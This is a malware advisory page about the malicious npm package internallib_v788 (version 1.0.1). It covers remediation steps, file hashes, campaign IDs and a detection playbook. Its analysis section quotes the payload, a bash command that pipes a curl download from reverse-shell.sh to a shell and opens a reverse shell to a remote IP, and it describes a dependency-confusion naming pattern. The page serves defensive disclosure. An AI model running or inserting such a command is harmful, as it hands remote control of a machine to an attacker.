Which versions of internallib_v788 are malicious?

The following npm versions of internallib_v788 are flagged malicious: 1.0.1. Treat any of these as compromised.

How do I remediate internallib_v788 if I installed it?

internallib_v788 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed internallib_v788 — how do I know if it already compromised me?

If internallib_v788 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is internallib_v788 part of a known attack campaign?

Yes — internallib_v788 is associated with the GHSA-8pvp-4qvp-26m7, IN-MAL-2026-021101 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find internallib_v788 across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for internallib_v788 (version 1.0.1).

Malicious package

internallib_v788npm

Advisory published Oct 8, 2026Updated Oct 8, 2026

internallib_v788 is a confirmed malicious npm package (MAL-2026-17649) that opens a backdoor for remote access (malicious version 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in internallib_v788 (npm)

MAL-2026-17649

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall internallib_v788

What this malware does

internallib_v788 exports a command function in index.js (line 5) that executes /bin/bash -c "curl https://reverse-shell.sh/10.0.75.246:443|sh", fetching a reverse-shell payload from reverse-shell.sh and piping it to a shell. Invoking the exported API opens an interactive reverse shell from the installer's host back to 10.0.75.246:443, giving that endpoint arbitrary command execution on the installer's machine. The package also declares a self-referential dependency on internallib_v788 with an internallib_ naming prefix, matching the structural shape of a dependency-confusion artifact targeting a private internal registry name.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

1.0.1

Indicators of compromise (SHA-256)

e9395ae1eb59e35b8fddb848dfee71475753188ad1fadfe3225f23ada5333cfb

59624002e9650beef10d1f87f3f4125405d990d4b58fb8d2178f39b7ff6fb129

Detection & response playbook

Backdoor / remote access

Find it
Search your lockfiles and build artifacts for internallib_v788 (version 1.0.1).
If you installed it — respond
internallib_v788 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If internallib_v788 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. internallib_v788 on npm has been identified as a malicious package (version 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

GHSA-8pvp-4qvp-26m7IN-MAL-2026-021101

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks internallib_v788-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database